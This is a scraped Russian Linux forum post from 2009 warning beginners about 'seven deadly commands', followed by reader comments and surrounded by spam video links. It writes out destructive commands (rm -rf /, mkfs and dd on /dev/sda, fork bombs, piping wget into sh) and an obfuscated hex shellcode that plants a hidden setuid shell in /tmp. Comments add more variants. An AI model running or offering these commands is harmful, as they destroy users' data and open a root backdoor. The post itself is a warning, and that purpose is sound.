Online video hd

Смотреть телеграм видео

Официальный сайт zakonoproekt2010 24/7/365

Смотреть видео бесплатно

xT 20.08.2009 22:14

НовичкуСемь смертельных команд

Оригинал
Если ты новичок в мире Linux, то есть шанс, что в интернетах тебе встретится редиска нехороший человек, и он будет провоцировать тебя на выполнение команд, которые уничтожат твои данные или даже нанесут вред операционной системе.



Для того чтобы избежать такого исхода событий, прочти следующий текст.



«Не повторять – опасно!»

1.

1
rm -rf /



Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.

В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.



2.

1
char esp

__attribute__ ((section(".text"))) /* e.s.p

release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"

"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"

"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"

"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"

"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"

"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"

"\x6e\x2f\x73\x68\x00\x2d\x63\x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

Это hex-версия команды , которая может ввести в заблуждение менее опытного пользователя.



3.

1
mkfs.ext3 /dev/sda



Переформатирование или полное уничтожение всех файлов на устройстве



4.

1
:(){:|:&};:



Форкбомба. Эта команда принуждает систему запускать большое количество тысячи их процессов, до тех пор пока система не зависнет. Часто это ведёт к повреждениям данных.



5.

1
любая_команда > /dev/sda



С помощью этой команды неструктурированные данные будут записаны на устройство. Обычно после этого файловая система приходит в негодность (данные, разумеется, теряются).



6.

1
wget http://какойто_неизвестный_ресурс/подозрительный_файл -O- | sh



Никогда не загружайте чтобы то ни было с неизвестных ресурсов. В противном случае, как показывает этот пример, загруженный файл сразу передается на выполнение командной оболочке. О последствиях этого стоит только догадываться, но вряд ли что-либо светлое и доброе.



7.

1
mv /home/твоя_домашняя_директория/* /dev/null



Команда перемещает все файлы из твоей домашней директории в Лимпопо место, которое не существует. После этого ты их никогда больше не увидишь.



P.S. На самом деле таких команд намного больше, поэтому всегда перед их(команд, которые тебе советуют использовать) выполнением проверяй что может произойти. Ман и гуглЪ в помощь.



Будем надеятся, что наши братья по Вере напишут в комментариях о других подобных командах.


Тэги: epic fail важно внимание коллапс крах системы не стоит того новичку разрушение смерть
+ 17 -
Похожие Поделиться

konkere 20.08.2009 22:33 #
+ 2 -
С вгетом не обязательно смертельное же. А заголовком обещаны именно смертельные.
krig 20.08.2009 22:37 #
+ 0 -
А если в файле командаиз 7 примера? =)
konkere 20.08.2009 22:40 #
+ -1 -
не обязательно смертельное

Тогда нужно и про кирпич написать. Если он упадёт на системник с высоты 9-го этажа, это тоже смертельно будет. Так, например.
krig 20.08.2009 22:44 #
+ 0 -
Кирпич - это не команда линукс =)
konkere 20.08.2009 22:45 #
+ 2 -
Его сбросил маленький робот под управлением линуха ;)
xT 20.08.2009 22:41 #
+ 1 -
но и не обязательно, что не смертельное :)
konkere 20.08.2009 22:43 #
+ 0 -
ну да, примерно 50/50, как блондинке встретить динозавра в центре города (:
nymiiin 20.08.2009 22:37 #
+ 2 -
спасибо за подборку, теперь буду развлекаться именно таким образом
konkere 20.08.2009 22:42 #
+ 1 -
читаешь мои мысли (:
sarenteg 20.08.2009 22:46 #
+ 1 -
главное правило, наверное, для каждого:
не выполняй команду (тем более от root), если не знаешь, к чему это приведет
lwilis 20.08.2009 22:55 #
+ 0 -
Дополню и обобщу лозунгом.

Новичок, при работе за компьютером включай мозг!
extra 20.08.2009 23:24 #
+ 3 -
Вспомнился Патч Бармана и Великий Оптимизирующий Скрипт на Perl
sdvn 21.08.2009 00:15 #
+ 0 -
sudo dd if=/dev/urandom of=/dev/sda

Такого типа команд я еще с 10 за рубь сгенерирую.. :-D
xT 21.08.2009 00:49 #
+ 0 -
это все пункт 5 :)
Jazz 21.08.2009 07:49 #
+ 0 -
Мне кажется достаточно не выполнять команду, которую дали тебе в irc/etc. и назначения которой не знаешь - всё целее будешь, да и со списком каждый раз сверяться не надо будет :)
anjolio 21.08.2009 11:10 #
+ 0 -
rm -rf /

Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.

Но от rm -rf /* защиты нет, насколько мне известно.
Ну и для примера в debian lenny, когда он тестингом был, тоже не было защиты от rm -rf /
xtavras 21.08.2009 14:10 #
+ 0 -
в opensuse 10.3 даже это не сработало :((
or10n 21.08.2009 14:06 #
+ 0 -
где то слышал, что под судо большинство этих команд не работает.
это правда или нет?
nobodyzzz 21.08.2009 14:38 #
+ 0 -
ну если их в sudoers не разрешить, то не работают
Aesdana 22.08.2009 20:50 #
+ 1 -
Насчёт пункта 6 - noexec ;)
Username 24.08.2009 13:30 #
+ 0 -
3 не сработает кстати
xT 24.08.2009 14:12 #
+ 0 -
подстрекательство =)
Username 24.08.2009 14:18 #
+ 0 -
не, не сработает. Там указано устройство /dev/sda без номера раздела. А форматирует только разделы. /dev/sdaX правильно :)
Да и перед этим еще и отмонтировать надо раздел, а рут-раздел например вообще не дастся под формат
Sta2s 08.09.2009 12:05 #
+ 0 -
Ubuntu 9.04, Virtualbox
1. rm: cannot remove root directory
2. не проверял
3. спрашивает подтверждения если /dev/sda, форматировать отказывается. В случае с указанием /dev/sda1 - подтверждение не спрашивает, но ругается на смонтированную фс - форматировать отказывается
4. (особенно интересовал) bash: syntax error near unexpected token '{:'
5. работает! что, собственно говоря не удивительно.
6. не проверял, кажется будет работать
7. mv: accessing `/dev/null/`: Not a directory
даже обидно... может я что-то делаю не так?
Sta2s 30.10.2009 00:27 #
+ 0 -
вот вам действительно плохая штука, захотите повторить - я не виноват.
создаётся файл с содержимым:
#!/bin/sh
$0 &
$0 &
и запускается sh имя_вашего_файла
для убунтоводов это кстати ещё один повод монтировать home c пар-тром noexec
потому как у меня на рабочей машине запустился только в таком вот виде:
#!/bin/sh
sh ~/$0 &
sh ~/$0 &
и Ubuntu 9.04 ушла в глубокую рекурсию, сожрала всю память, потом своп... к счастью ответила на magic-sysrq и я смог её корректно перезагрузить.

Смотреть видео онлайн

Онлайн видео бесплатно


Смотреть русское с разговорами видео

Online video HD

Видео скачать на телефон

Русские фильмы бесплатно

Full HD video online

Смотреть видео онлайн

Смотреть HD видео бесплатно

School смотреть онлайн